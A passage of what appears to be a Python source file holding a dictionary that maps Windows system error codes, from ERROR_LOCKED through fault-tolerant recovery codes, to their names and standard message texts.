"ERROR_THREAD_1_INACTIVE", "message": "The signal handler cannot be set.", }, 0x000000D4: { "code": "ERROR_LOCKED", "message": "The segment is locked and cannot be reallocated.", }, 0x000000D6: { "code": "ERROR_TOO_MANY_MODULES", "message": ( "Too many dynamic-link modules are attached to this program or dynamic-link" " module." ), }, 0x000000D7: { "code": "ERROR_NESTING_NOT_ALLOWED", "message": "Cannot nest calls to LoadModule.", }, 0x000000D8: { "code": "ERROR_EXE_MACHINE_TYPE_MISMATCH", "message": ( "This version of %1 is not compatible with the version of Windows you're" " running. Check your computer's system information to see whether you need" " an x86 (32-bit) or x64 (64-bit) version of the program, and then contact" " the software publisher." ), }, 0x000000D9: { "code": "ERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY", "message": "The image file %1 is signed, unable to modify.", }, 0x000000DA: { "code": "ERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY", "message": "The image file %1 is strong signed, unable to modify.", }, 0x000000DC: { "code": "ERROR_FILE_CHECKED_OUT", "message": "This file is checked out or locked for editing by another user.", }, 0x000000DD: { "code": "ERROR_CHECKOUT_REQUIRED", "message": "The file must be checked out before saving changes.", }, 0x000000DE: { "code": "ERROR_BAD_FILE_TYPE", "message": "The file type being saved or retrieved has been blocked.", }, 0x000000DF: { "code": "ERROR_FILE_TOO_LARGE", "message": "The file size exceeds the limit allowed and cannot be saved.", }, 0x000000E0: { "code": "ERROR_FORMS_AUTH_REQUIRED", "message": ( "Access denied. Before opening files in this location, you must first" " browse to the website and select the option to sign in automatically." ), }, 0x000000E1: { "code": "ERROR_VIRUS_INFECTED", "message": ( "Operation did not complete successfully because the file contains a virus." ), }, 0x000000E2: { "code": "ERROR_VIRUS_DELETED", "message": ( "This file contains a virus and cannot be opened. Due to the nature of this" " virus, the file has been removed from this location." ), }, 0x000000E5: {"code": "ERROR_PIPE_LOCAL", "message": "The pipe is local."}, 0x000000E6: {"code": "ERROR_BAD_PIPE", "message": "The pipe state is invalid."}, 0x000000E7: {"code": "ERROR_PIPE_BUSY", "message": "All pipe instances are busy."}, 0x000000E8: {"code": "ERROR_NO_DATA", "message": "The pipe is being closed."}, 0x000000E9: { "code": "ERROR_PIPE_NOT_CONNECTED", "message": "No process is on the other end of the pipe.", }, 0x000000EA: {"code": "ERROR_MORE_DATA", "message": "More data is available."}, 0x000000F0: { "code": "ERROR_VC_DISCONNECTED", "message": "The session was canceled.", }, 0x000000FE: { "code": "ERROR_INVALID_EA_NAME", "message": "The specified extended attribute name was invalid.", }, 0x000000FF: { "code": "ERROR_EA_LIST_INCONSISTENT", "message": "The extended attributes are inconsistent.", }, 0x00000102: {"code": "WAIT_TIMEOUT", "message": "The wait operation timed out."}, 0x00000103: { "code": "ERROR_NO_MORE_ITEMS", "message": "No more data is available.", }, 0x0000010A: { "code": "ERROR_CANNOT_COPY", "message": "The copy functions cannot be used.", }, 0x0000010B: { "code": "ERROR_DIRECTORY", "message": "The directory name is invalid.", }, 0x00000113: { "code": "ERROR_EAS_DIDNT_FIT", "message": "The extended attributes did not fit in the buffer.", }, 0x00000114: { "code": "ERROR_EA_FILE_CORRUPT", "message": "The extended attribute file on the mounted file system is corrupt.", }, 0x00000115: { "code": "ERROR_EA_TABLE_FULL", "message": "The extended attribute table file is full.", }, 0x00000116: { "code": "ERROR_INVALID_EA_HANDLE", "message": "The specified extended attribute handle is invalid.", }, 0x0000011A: { "code": "ERROR_EAS_NOT_SUPPORTED", "message": "The mounted file system does not support extended attributes.", }, 0x00000120: { "code": "ERROR_NOT_OWNER", "message": "Attempt to release mutex not owned by caller.", }, 0x0000012A: { "code": "ERROR_TOO_MANY_POSTS", "message": "Too many posts were made to a semaphore.", }, 0x0000012B: { "code": "ERROR_PARTIAL_COPY", "message": ( "Only part of a ReadProcessMemory or WriteProcessMemory request was" " completed." ), }, 0x0000012C: { "code": "ERROR_OPLOCK_NOT_GRANTED", "message": "The oplock request is denied.", }, 0x0000012D: { "code": "ERROR_INVALID_OPLOCK_PROTOCOL", "message": "An invalid oplock acknowledgment was received by the system.", }, 0x0000012E: { "code": "ERROR_DISK_TOO_FRAGMENTED", "message": "The volume is too fragmented to complete this operation.", }, 0x0000012F: { "code": "ERROR_DELETE_PENDING", "message": ( "The file cannot be opened because it is in the process of being deleted." ), }, 0x0000013D: { "code": "ERROR_MR_MID_NOT_FOUND", "message": ( "The system cannot find message text for message number 0x%1 in the message" " file for %2." ), }, 0x0000013E: { "code": "ERROR_SCOPE_NOT_FOUND", "message": "The scope specified was not found.", }, 0x0000015E: { "code": "ERROR_FAIL_NOACTION_REBOOT", "message": "No action was taken because a system reboot is required.", }, 0x0000015F: { "code": "ERROR_FAIL_SHUTDOWN", "message": "The shutdown operation failed.", }, 0x00000160: { "code": "ERROR_FAIL_RESTART", "message": "The restart operation failed.", }, 0x00000161: { "code": "ERROR_MAX_SESSIONS_REACHED", "message": "The maximum number of sessions has been reached.", }, 0x00000190: { "code": "ERROR_THREAD_MODE_ALREADY_BACKGROUND", "message": "The thread is already in background processing mode.", }, 0x00000191: { "code": "ERROR_THREAD_MODE_NOT_BACKGROUND", "message": "The thread is not in background processing mode.", }, 0x00000192: { "code": "ERROR_PROCESS_MODE_ALREADY_BACKGROUND", "message": "The process is already in background processing mode.", }, 0x00000193: { "code": "ERROR_PROCESS_MODE_NOT_BACKGROUND", "message": "The process is not in background processing mode.", }, 0x000001E7: { "code": "ERROR_INVALID_ADDRESS", "message": "Attempt to access invalid address.", }, 0x000001F4: { "code": "ERROR_USER_PROFILE_LOAD", "message": "User profile cannot be loaded.", }, 0x00000216: { "code": "ERROR_ARITHMETIC_OVERFLOW", "message": "Arithmetic result exceeded 32 bits.", }, 0x00000217: { "code": "ERROR_PIPE_CONNECTED", "message": "There is a process on the other end of the pipe.", }, 0x00000218: { "code": "ERROR_PIPE_LISTENING", "message": "Waiting for a process to open the other end of the pipe.", }, 0x00000219: { "code": "ERROR_VERIFIER_STOP", "message": "Application verifier has found an error in the current process.", }, 0x0000021A: { "code": "ERROR_ABIOS_ERROR", "message": "An error occurred in the ABIOS subsystem.", }, 0x0000021B: { "code": "ERROR_WX86_WARNING", "message": "A warning occurred in the WX86 subsystem.", }, 0x0000021C: { "code": "ERROR_WX86_ERROR", "message": "An error occurred in the WX86 subsystem.", }, 0x0000021D: { "code": "ERROR_TIMER_NOT_CANCELED", "message": ( "An attempt was made to cancel or set a timer that has an associated" " asynchronous procedure call (APC) and the subject thread is not the" " thread that originally set the timer with an associated APC routine." ), }, 0x0000021E: {"code": "ERROR_UNWIND", "message": "Unwind exception code."}, 0x0000021F: { "code": "ERROR_BAD_STACK", "message": ( "An invalid or unaligned stack was encountered during an unwind operation." ), }, 0x00000220: { "code": "ERROR_INVALID_UNWIND_TARGET", "message": ( "An invalid unwind target was encountered during an unwind operation." ), }, 0x00000221: { "code": "ERROR_INVALID_PORT_ATTRIBUTES", "message": ( "Invalid object attributes specified to NtCreatePort or invalid port" " attributes specified to NtConnectPort." ), }, 0x00000222: { "code": "ERROR_PORT_MESSAGE_TOO_LONG", "message": ( "Length of message passed to NtRequestPort or NtRequestWaitReplyPort was" " longer than the maximum message allowed by the port." ), }, 0x00000223: { "code": "ERROR_INVALID_QUOTA_LOWER", "message": ( "An attempt was made to lower a quota limit below the current usage." ), }, 0x00000224: { "code": "ERROR_DEVICE_ALREADY_ATTACHED", "message": ( "An attempt was made to attach to a device that was already attached to" " another device." ), }, 0x00000225: { "code": "ERROR_INSTRUCTION_MISALIGNMENT", "message": ( "An attempt was made to execute an instruction at an unaligned address, and" " the host system does not support unaligned instruction references." ), }, 0x00000226: { "code": "ERROR_PROFILING_NOT_STARTED", "message": "Profiling not started.", }, 0x00000227: { "code": "ERROR_PROFILING_NOT_STOPPED", "message": "Profiling not stopped.", }, 0x00000228: { "code": "ERROR_COULD_NOT_INTERPRET", "message": "The passed ACL did not contain the minimum required information.", }, 0x00000229: { "code": "ERROR_PROFILING_AT_LIMIT", "message": ( "The number of active profiling objects is at the maximum and no more can" " be started." ), }, 0x0000022A: { "code": "ERROR_CANT_WAIT", "message": ( "Used to indicate that an operation cannot continue without blocking for" " I/O." ), }, 0x0000022B: { "code": "ERROR_CANT_TERMINATE_SELF", "message": ( "Indicates that a thread attempted to terminate itself by default (called" " NtTerminateThread with NULL) and it was the last thread in the current" " process." ), }, 0x0000022C: { "code": "ERROR_UNEXPECTED_MM_CREATE_ERR", "message": ( "If an MM error is returned that is not defined in the standard FsRtl" " filter, it is converted to one of the following errors that is guaranteed" " to be in the filter. In this case, information is lost; however, the" " filter correctly handles the exception." ), }, 0x0000022D: { "code": "ERROR_UNEXPECTED_MM_MAP_ERROR", "message": ( "If an MM error is returned that is not defined in the standard FsRtl" " filter, it is converted to one of the following errors that is guaranteed" " to be in the filter. In this case, information is lost; however, the" " filter correctly handles the exception." ), }, 0x0000022E: { "code": "ERROR_UNEXPECTED_MM_EXTEND_ERR", "message": ( "If an MM error is returned that is not defined in the standard FsRtl" " filter, it is converted to one of the following errors that is guaranteed" " to be in the filter. In this case, information is lost; however, the" " filter correctly handles the exception." ), }, 0x0000022F: { "code": "ERROR_BAD_FUNCTION_TABLE", "message": ( "A malformed function table was encountered during an unwind operation." ), }, 0x00000230: { "code": "ERROR_NO_GUID_TRANSLATION", "message": ( "Indicates that an attempt was made to assign protection to a file system" " file or directory and one of the SIDs in the security descriptor could" " not be translated into a GUID that could be stored by the file system." " This causes the protection attempt to fail, which might cause a file" " creation attempt to fail." ), }, 0x00000231: { "code": "ERROR_INVALID_LDT_SIZE", "message": ( "Indicates that an attempt was made to grow a local domain table (LDT) by" " setting its size, or that the size was not an even number of selectors." ), }, 0x00000233: { "code": "ERROR_INVALID_LDT_OFFSET", "message": ( "Indicates that the starting value for the LDT information was not an" " integral multiple of the selector size." ), }, 0x00000234: { "code": "ERROR_INVALID_LDT_DESCRIPTOR", "message": ( "Indicates that the user supplied an invalid descriptor when trying to set" " up LDT descriptors." ), }, 0x00000235: { "code": "ERROR_TOO_MANY_THREADS", "message": ( "Indicates a process has too many threads to perform the requested action." " For example, assignment of a primary token can be performed only when a" " process has zero or one threads." ), }, 0x00000236: { "code": "ERROR_THREAD_NOT_IN_PROCESS", "message": ( "An attempt was made to operate on a thread within a specific process, but" " the thread specified is not in the process specified." ), }, 0x00000237: { "code": "ERROR_PAGEFILE_QUOTA_EXCEEDED", "message": "Page file quota was exceeded.", }, 0x00000238: { "code": "ERROR_LOGON_SERVER_CONFLICT", "message": ( "The Netlogon service cannot start because another Netlogon service running" " in the domain conflicts with the specified role." ), }, 0x00000239: { "code": "ERROR_SYNCHRONIZATION_REQUIRED", "message": ( "On applicable Windows Server releases, the Security Accounts Manager (SAM)" " database is significantly out of synchronization with the copy on the" " domain controller. A complete synchronization is required." ), }, 0x0000023A: { "code": "ERROR_NET_OPEN_FAILED", "message": ( "The NtCreateFile API failed. This error should never be returned to an" " application, it is a place holder for the Windows LAN Manager Redirector" " to use in its internal error mapping routines." ), }, 0x0000023B: { "code": "ERROR_IO_PRIVILEGE_FAILED", "message": ( "{Privilege Failed} The I/O permissions for the process could not be" " changed." ), }, 0x0000023C: { "code": "ERROR_CONTROL_C_EXIT", "message": ( "{Application Exit by CTRL+C} The application terminated as a result of a" " CTRL+C." ), }, 0x0000023D: { "code": "ERROR_MISSING_SYSTEMFILE", "message": ( "{Missing System File} The required system file %hs is bad or missing." ), }, 0x0000023E: { "code": "ERROR_UNHANDLED_EXCEPTION", "message": ( "{Application Error} The exception %s (0x%08lx) occurred in the application" " at location 0x%08lx." ), }, 0x0000023F: { "code": "ERROR_APP_INIT_FAILURE", "message": ( "{Application Error} The application failed to initialize properly (0x%lx)." " Click OK to terminate the application." ), }, 0x00000240: { "code": "ERROR_PAGEFILE_CREATE_FAILED", "message": ( "{Unable to Create Paging File} The creation of the paging file %hs failed" " (%lx). The requested size was %ld." ), }, 0x00000241: { "code": "ERROR_INVALID_IMAGE_HASH", "message": ( "The hash for the image cannot be found in the system catalogs. The image" " is likely corrupt or the victim of tampering." ), }, 0x00000242: { "code": "ERROR_NO_PAGEFILE", "message": ( "{No Paging File Specified} No paging file was specified in the system" " configuration." ), }, 0x00000243: { "code": "ERROR_ILLEGAL_FLOAT_CONTEXT", "message": ( "{EXCEPTION} A real-mode application issued a floating-point instruction," " and floating-point hardware is not present." ), }, 0x00000244: { "code": "ERROR_NO_EVENT_PAIR", "message": ( "An event pair synchronization operation was performed using the" " thread-specific client/server event pair object, but no event pair object" " was associated with the thread." ), }, 0x00000245: { "code": "ERROR_DOMAIN_CTRLR_CONFIG_ERROR", "message": "A domain server has an incorrect configuration.", }, 0x00000246: { "code": "ERROR_ILLEGAL_CHARACTER", "message": ( "An illegal character was encountered. For a multibyte character set, this" " includes a lead byte without a succeeding trail byte. For the Unicode" " character set, this includes the characters 0xFFFF and 0xFFFE." ), }, 0x00000247: { "code": "ERROR_UNDEFINED_CHARACTER", "message": ( "The Unicode character is not defined in the Unicode character set" " installed on the system." ), }, 0x00000248: { "code": "ERROR_FLOPPY_VOLUME", "message": "The paging file cannot be created on a floppy disk.", }, 0x00000249: { "code": "ERROR_BIOS_FAILED_TO_CONNECT_INTERRUPT", "message": ( "The system bios failed to connect a system interrupt to the device or bus" " for which the device is connected." ), }, 0x0000024A: { "code": "ERROR_BACKUP_CONTROLLER", "message": ( "This operation is only allowed for the primary domain controller (PDC) of" " the domain." ), }, 0x0000024B: { "code": "ERROR_MUTANT_LIMIT_EXCEEDED", "message": ( "An attempt was made to acquire a mutant such that its maximum count would" " have been exceeded." ), }, 0x0000024C: { "code": "ERROR_FS_DRIVER_REQUIRED", "message": ( "A volume has been accessed for which a file system driver is required that" " has not yet been loaded." ), }, 0x0000024D: { "code": "ERROR_CANNOT_LOAD_REGISTRY_FILE", "message": ( "{Registry File Failure} The registry cannot load the hive (file): %hs or" " its log or alternate. It is corrupt, absent, or not writable." ), }, 0x0000024E: { "code": "ERROR_DEBUG_ATTACH_FAILED", "message": ( "{Unexpected Failure in DebugActiveProcess} An unexpected failure occurred" " while processing a DebugActiveProcess API request. Choosing OK will" " terminate the process, and choosing Cancel will ignore the error." ), }, 0x0000024F: { "code": "ERROR_SYSTEM_PROCESS_TERMINATED", "message": ( "{Fatal System Error} The %hs system process terminated unexpectedly with a" " status of 0x%08x (0x%08x 0x%08x). The system has been shut down." ), }, 0x00000250: { "code": "ERROR_DATA_NOT_ACCEPTED", "message": ( "{Data Not Accepted} The transport driver interface (TDI) client could not" " handle the data received during an indication." ), }, 0x00000251: { "code": "ERROR_VDM_HARD_ERROR", "message": "The NT Virtual DOS Machine (NTVDM) encountered a hard error.", }, 0x00000252: { "code": "ERROR_DRIVER_CANCEL_TIMEOUT", "message": ( "{Cancel Timeout} The driver %hs failed to complete a canceled I/O request" " in the allotted time." ), }, 0x00000253: { "code": "ERROR_REPLY_MESSAGE_MISMATCH", "message": ( "{Reply Message Mismatch} An attempt was made to reply to a local procedure" " call (LPC) message, but the thread specified by the client ID in the" " message was not waiting on that message." ), }, 0x00000254: { "code": "ERROR_LOST_WRITEBEHIND_DATA", "message": ( "{Delayed Write Failed} Windows was unable to save all the data for the" " file %hs. The data has been lost. This error might be caused by a failure" " of your computer hardware or network connection. Try to save this file" " elsewhere." ), }, 0x00000255: { "code": "ERROR_CLIENT_SERVER_PARAMETERS_INVALID", "message": ( "The parameters passed to the server in the client/server shared memory" " window were invalid. Too much data might have been put in the shared" " memory window." ), }, 0x00000256: { "code": "ERROR_NOT_TINY_STREAM", "message": "The stream is not a tiny stream.", }, 0x00000257: { "code": "ERROR_STACK_OVERFLOW_READ", "message": "The request must be handled by the stack overflow code.", }, 0x00000258: { "code": "ERROR_CONVERT_TO_LARGE", "message": ( "Internal OFS status codes indicating how an allocation operation is" " handled. Either it is retried after the containing onode is moved or the" " extent stream is converted to a large stream." ), }, 0x00000259: { "code": "ERROR_FOUND_OUT_OF_SCOPE", "message": ( "The attempt to find the object found an object matching by ID on the" " volume but it is out of the scope of the handle used for the operation." ), }, 0x0000025A: { "code": "ERROR_ALLOCATE_BUCKET", "message": "The bucket array must be grown. Retry transaction after doing so.", }, 0x0000025B: { "code": "ERROR_MARSHALL_OVERFLOW", "message": "The user/kernel marshaling buffer has overflowed.", }, 0x0000025C: { "code": "ERROR_INVALID_VARIANT", "message": "The supplied variant structure contains invalid data.", }, 0x0000025D: { "code": "ERROR_BAD_COMPRESSION_BUFFER", "message": "The specified buffer contains ill-formed data.", }, 0x0000025E: { "code": "ERROR_AUDIT_FAILED", "message": "{Audit Failed} An attempt to generate a security audit failed.", }, 0x0000025F: { "code": "ERROR_TIMER_RESOLUTION_NOT_SET", "message": ( "The timer resolution was not previously set by the current process." ), }, 0x00000260: { "code": "ERROR_INSUFFICIENT_LOGON_INFO", "message": "There is insufficient account information to log you on.", }, 0x00000261: { "code": "ERROR_BAD_DLL_ENTRYPOINT", "message": ( "{Invalid DLL Entrypoint} The dynamic link library %hs is not written" " correctly. The stack pointer has been left in an inconsistent state. The" " entry point should be declared as WINAPI or STDCALL. Select YES to fail" " the DLL load. Select NO to continue execution. Selecting NO can cause the" " application to operate incorrectly." ), }, 0x00000262: { "code": "ERROR_BAD_SERVICE_ENTRYPOINT", "message": ( "{Invalid Service Callback Entrypoint} The %hs service is not written" " correctly. The stack pointer has been left in an inconsistent state. The" " callback entry point should be declared as WINAPI or STDCALL. Selecting" " OK will cause the service to continue operation. However, the service" " process might operate incorrectly." ), }, 0x00000263: { "code": "ERROR_IP_ADDRESS_CONFLICT1", "message": ( "There is an IP address conflict with another system on the network." ), }, 0x00000264: { "code": "ERROR_IP_ADDRESS_CONFLICT2", "message": ( "There is an IP address conflict with another system on the network." ), }, 0x00000265: { "code": "ERROR_REGISTRY_QUOTA_LIMIT", "message": ( "{Low On Registry Space} The system has reached the maximum size allowed" " for the system part of the registry. Additional storage requests will be" " ignored." ), }, 0x00000266: { "code": "ERROR_NO_CALLBACK_ACTIVE", "message": ( "A callback return system service cannot be executed when no callback is" " active." ), }, 0x00000267: { "code": "ERROR_PWD_TOO_SHORT", "message": ( "The password provided is too short to meet the policy of your user" " account. Choose a longer password." ), }, 0x00000268: { "code": "ERROR_PWD_TOO_RECENT", "message": ( "The policy of your user account does not allow you to change passwords too" " frequently. This is done to prevent users from changing back to a" " familiar, but potentially discovered, password. If you feel your password" " has been compromised, contact your administrator immediately to have a" " new one assigned." ), }, 0x00000269: { "code": "ERROR_PWD_HISTORY_CONFLICT", "message": ( "You have attempted to change your password to one that you have used in" " the past. The policy of your user account does not allow this. Select a" " password that you have not previously used." ), }, 0x0000026A: { "code": "ERROR_UNSUPPORTED_COMPRESSION", "message": "The specified compression format is unsupported.", }, 0x0000026B: { "code": "ERROR_INVALID_HW_PROFILE", "message": "The specified hardware profile configuration is invalid.", }, 0x0000026C: { "code": "ERROR_INVALID_PLUGPLAY_DEVICE_PATH", "message": "The specified Plug and Play registry device path is invalid.", }, 0x0000026D: { "code": "ERROR_QUOTA_LIST_INCONSISTENT", "message": ( "The specified quota list is internally inconsistent with its descriptor." ), }, 0x0000026E: { "code": "ERROR_EVALUATION_EXPIRATION", "message": ( "{Windows Evaluation Notification} The evaluation period for this" " installation of Windows has expired. This system will shut down in 1" " hour. To restore access to this installation of Windows, upgrade this" " installation using a licensed distribution of this product." ), }, 0x0000026F: { "code": "ERROR_ILLEGAL_DLL_RELOCATION", "message": ( "{Illegal System DLL Relocation} The system DLL %hs was relocated in" " memory. The application will not run properly. The relocation occurred" " because the DLL %hs occupied an address range reserved for Windows system" " DLLs. The vendor supplying the DLL should be contacted for a new DLL." ), }, 0x00000270: { "code": "ERROR_DLL_INIT_FAILED_LOGOFF", "message": ( "{DLL Initialization Failed} The application failed to initialize because" " the window station is shutting down." ), }, 0x00000271: { "code": "ERROR_VALIDATE_CONTINUE", "message": "The validation process needs to continue on to the next step.", }, 0x00000272: { "code": "ERROR_NO_MORE_MATCHES", "message": "There are no more matches for the current index enumeration.", }, 0x00000273: { "code": "ERROR_RANGE_LIST_CONFLICT", "message": ( "The range could not be added to the range list because of a conflict." ), }, 0x00000274: { "code": "ERROR_SERVER_SID_MISMATCH", "message": ( "The server process is running under a SID different than that required by" " the client." ), }, 0x00000275: { "code": "ERROR_CANT_ENABLE_DENY_ONLY", "message": "A group marked use for deny only cannot be enabled.", }, 0x00000276: { "code": "ERROR_FLOAT_MULTIPLE_FAULTS", "message": "{EXCEPTION} Multiple floating point faults.", }, 0x00000277: { "code": "ERROR_FLOAT_MULTIPLE_TRAPS", "message": "{EXCEPTION} Multiple floating point traps.", }, 0x00000278: { "code": "ERROR_NOINTERFACE", "message": "The requested interface is not supported.", }, 0x00000279: { "code": "ERROR_DRIVER_FAILED_SLEEP", "message": ( "{System Standby Failed} The driver %hs does not support standby mode." " Updating this driver might allow the system to go to standby mode." ), }, 0x0000027A: { "code": "ERROR_CORRUPT_SYSTEM_FILE", "message": "The system file %1 has become corrupt and has been replaced.", }, 0x0000027B: { "code": "ERROR_COMMITMENT_MINIMUM", "message": ( "{Virtual Memory Minimum Too Low} Your system is low on virtual memory." " Windows is increasing the size of your virtual memory paging file. During" " this process, memory requests for some applications might be denied. For" " more information, see Help." ), }, 0x0000027C: { "code": "ERROR_PNP_RESTART_ENUMERATION", "message": "A device was removed so enumeration must be restarted.", }, 0x0000027D: { "code": "ERROR_SYSTEM_IMAGE_BAD_SIGNATURE", "message": ( "{Fatal System Error} The system image %s is not properly signed. The file" " has been replaced with the signed file. The system has been shut down." ), }, 0x0000027E: { "code": "ERROR_PNP_REBOOT_REQUIRED", "message": "Device will not start without a reboot.", }, 0x0000027F: { "code": "ERROR_INSUFFICIENT_POWER", "message": "There is not enough power to complete the requested operation.", }, 0x00000281: { "code": "ERROR_SYSTEM_SHUTDOWN", "message": "The system is in the process of shutting down.", }, 0x00000282: { "code": "ERROR_PORT_NOT_SET", "message": ( "An attempt to remove a process DebugPort was made, but a port was not" " already associated with the process." ), }, 0x00000283: { "code": "ERROR_DS_VERSION_CHECK_FAILURE", "message": ( "This version of Windows is not compatible with the behavior version of" " directory forest, domain, or domain controller." ), }, 0x00000284: { "code": "ERROR_RANGE_NOT_FOUND", "message": "The specified range could not be found in the range list.", }, 0x00000286: { "code": "ERROR_NOT_SAFE_MODE_DRIVER", "message": ( "The driver was not loaded because the system is booting into safe mode." ), }, 0x00000287: { "code": "ERROR_FAILED_DRIVER_ENTRY", "message": ( "The driver was not loaded because it failed its initialization call." ), }, 0x00000288: { "code": "ERROR_DEVICE_ENUMERATION_ERROR", "message": ( "The device encountered an error while applying power or reading the device" " configuration. This might be caused by a failure of your hardware or by a" " poor connection." ), }, 0x00000289: { "code": "ERROR_MOUNT_POINT_NOT_RESOLVED", "message": ( "The create operation failed because the name contained at least one mount" " point that resolves to a volume to which the specified device object is" " not attached." ), }, 0x0000028A: { "code": "ERROR_INVALID_DEVICE_OBJECT_PARAMETER", "message": ( "The device object parameter is either not a valid device object or is not" " attached to the volume specified by the file name." ), }, 0x0000028B: { "code": "ERROR_MCA_OCCURED", "message": ( "A machine check error has occurred. Check the system event log for" " additional information." ), }, 0x0000028C: { "code": "ERROR_DRIVER_DATABASE_ERROR", "message": "There was an error [%2] processing the driver database.", }, 0x0000028D: { "code": "ERROR_SYSTEM_HIVE_TOO_LARGE", "message": "The system hive size has exceeded its limit.", }, 0x0000028E: { "code": "ERROR_DRIVER_FAILED_PRIOR_UNLOAD", "message": ( "The driver could not be loaded because a previous version of the driver is" " still in memory." ), }, 0x0000028F: { "code": "ERROR_VOLSNAP_PREPARE_HIBERNATE", "message": ( "{Volume Shadow Copy Service} Wait while the Volume Shadow Copy Service" " prepares volume %hs for hibernation." ), }, 0x00000290: { "code": "ERROR_HIBERNATION_FAILURE", "message": ( "The system has failed to hibernate (the error code is %hs). Hibernation" " will be disabled until the system is restarted." ), }, 0x00000299: { "code": "ERROR_FILE_SYSTEM_LIMITATION", "message": ( "The requested operation could not be completed due to a file system" " limitation." ), }, 0x0000029C: { "code": "ERROR_ASSERTION_FAILURE", "message": "An assertion failure has occurred.", }, 0x0000029D: { "code": "ERROR_ACPI_ERROR", "message": ( "An error occurred in the Advanced Configuration and Power Interface (ACPI)" " subsystem." ), }, 0x0000029E: {"code": "ERROR_WOW_ASSERTION", "message": "WOW assertion error."}, 0x0000029F: { "code": "ERROR_PNP_BAD_MPS_TABLE", "message": ( "A device is missing in the system BIOS MultiProcessor Specification (MPS)" " table. This device will not be used. Contact your system vendor for" " system BIOS update." ), }, 0x000002A0: { "code": "ERROR_PNP_TRANSLATION_FAILED", "message": "A translator failed to translate resources.", }, 0x000002A1: { "code": "ERROR_PNP_IRQ_TRANSLATION_FAILED", "message": ( "An interrupt request (IRQ) translator failed to translate resources." ), }, 0x000002A2: { "code": "ERROR_PNP_INVALID_ID", "message": "Driver %2 returned invalid ID for a child device (%3).", }, 0x000002A3: { "code": "ERROR_WAKE_SYSTEM_DEBUGGER", "message": ( "{Kernel Debugger Awakened} the system debugger was awakened by an" " interrupt." ), }, 0x000002A4: { "code": "ERROR_HANDLES_CLOSED", "message": ( "{Handles Closed} Handles to objects have been automatically closed because" " of the requested operation." ), }, 0x000002A5: { "code": "ERROR_EXTRANEOUS_INFORMATION", "message": ( "{Too Much Information} The specified ACL contained more information than" " was expected." ), }, 0x000002A6: { "code": "ERROR_RXACT_COMMIT_NECESSARY", "message": ( "This warning level status indicates that the transaction state already" " exists for the registry subtree, but that a transaction commit was" " previously aborted. The commit has NOT been completed, but it has not" " been rolled back either (so it can still be committed if desired)." ), }, 0x000002A7: { "code": "ERROR_MEDIA_CHECK", "message": "{Media Changed} The media might have changed.", }, 0x000002A8: { "code": "ERROR_GUID_SUBSTITUTION_MADE", "message": ( "{GUID Substitution} During the translation of a GUID to a Windows SID, no" " administratively defined GUID prefix was found. A substitute prefix was" " used, which will not compromise system security. However, this might" " provide more restrictive access than intended." ), }, 0x000002A9: { "code": "ERROR_STOPPED_ON_SYMLINK", "message": "The create operation stopped after reaching a symbolic link.", }, 0x000002AA: {"code": "ERROR_LONGJUMP", "message": "A long jump has been executed."}, 0x000002AB: { "code": "ERROR_PLUGPLAY_QUERY_VETOED", "message": "The Plug and Play query operation was not successful.", }, 0x000002AC: { "code": "ERROR_UNWIND_CONSOLIDATE", "message": "A frame consolidation has been executed.", }, 0x000002AD: { "code": "ERROR_REGISTRY_HIVE_RECOVERED", "message": ( "{Registry Hive Recovered} Registry hive (file): %hs was corrupted and it" " has been recovered. Some data might have been lost." ), }, 0x000002AE: { "code": "ERROR_DLL_MIGHT_BE_INSECURE", "message": ( "The application is attempting to run executable code from the module %hs." " This might be insecure. An alternative, %hs, is available. Should the" " application use the secure module %hs?" ), }, 0x000002AF: { "code": "ERROR_DLL_MIGHT_BE_INCOMPATIBLE", "message": ( "The application is loading executable code from the module %hs. This is" " secure, but might be incompatible with previous releases of the operating" " system. An alternative, %hs, is available. Should the application use the" " secure module %hs?" ), }, 0x000002B0: { "code": "ERROR_DBG_EXCEPTION_NOT_HANDLED", "message": "Debugger did not handle the exception.", }, 0x000002B1: { "code": "ERROR_DBG_REPLY_LATER", "message": "Debugger will reply later.", }, 0x000002B2: { "code": "ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE", "message": "Debugger cannot provide handle.", }, 0x000002B3: { "code": "ERROR_DBG_TERMINATE_THREAD", "message": "Debugger terminated thread.", }, 0x000002B4: { "code": "ERROR_DBG_TERMINATE_PROCESS", "message": "Debugger terminated process.", }, 0x000002B5: {"code": "ERROR_DBG_CONTROL_C", "message": "Debugger got control C."}, 0x000002B6: { "code": "ERROR_DBG_PRINTEXCEPTION_C", "message": "Debugger printed exception on control C.", }, 0x000002B7: { "code": "ERROR_DBG_RIPEXCEPTION", "message": "Debugger received Routing Information Protocol (RIP) exception.", }, 0x000002B8: { "code": "ERROR_DBG_CONTROL_BREAK", "message": "Debugger received control break.", }, 0x000002B9: { "code": "ERROR_DBG_COMMAND_EXCEPTION", "message": "Debugger command communication exception.", }, 0x000002BA: { "code": "ERROR_OBJECT_NAME_EXISTS", "message": ( "{Object Exists} An attempt was made to create an object and the object" " name already existed." ), }, 0x000002BB: { "code": "ERROR_THREAD_WAS_SUSPENDED", "message": ( "{Thread Suspended} A thread termination occurred while the thread was" " suspended. The thread was resumed and termination proceeded." ), }, 0x000002BC: { "code": "ERROR_IMAGE_NOT_AT_BASE", "message": ( "{Image Relocated} An image file could not be mapped at the address" " specified in the image file. Local fixes must be performed on this image." ), }, 0x000002BD: { "code": "ERROR_RXACT_STATE_CREATED", "message": ( "This informational level status indicates that a specified registry" " subtree transaction state did not yet exist and had to be created." ), }, 0x000002BE: { "code": "ERROR_SEGMENT_NOTIFICATION", "message": ( "{Segment Load} A virtual DOS machine (VDM) is loading, unloading, or" " moving an MS-DOS or Win16 program segment image. An exception is raised" " so a debugger can load, unload, or track symbols and breakpoints within" " these 16-bit segments." ), }, 0x000002BF: { "code": "ERROR_BAD_CURRENT_DIRECTORY", "message": ( "{Invalid Current Directory} The process cannot switch to the startup" " current directory %hs. Select OK to set current directory to %hs, or" " select CANCEL to exit." ), }, 0x000002C0: { "code": "ERROR_FT_READ_RECOVERY_FROM_BACKUP", "message": ( "{Redundant Read} To satisfy a read request, the NT fault-tolerant file" " system successfully read the requested data from a redundant copy. This" " was done because the file system encountered a failure on a member of the" " fault-tolerant volume, but it was unable to reassign the failing area of" " the device." ), }, 0x000002C1: { "code": "ERROR_FT_WRITE_RECOVERY", "message": ( "{Redundant Write} To satisfy a write request, the Windows NT operating" " system fault-tolerant file system successfully wrote a redundant copy of" " the information. This was done because the file system encountered a" " failure on a member of the fault-tolerant 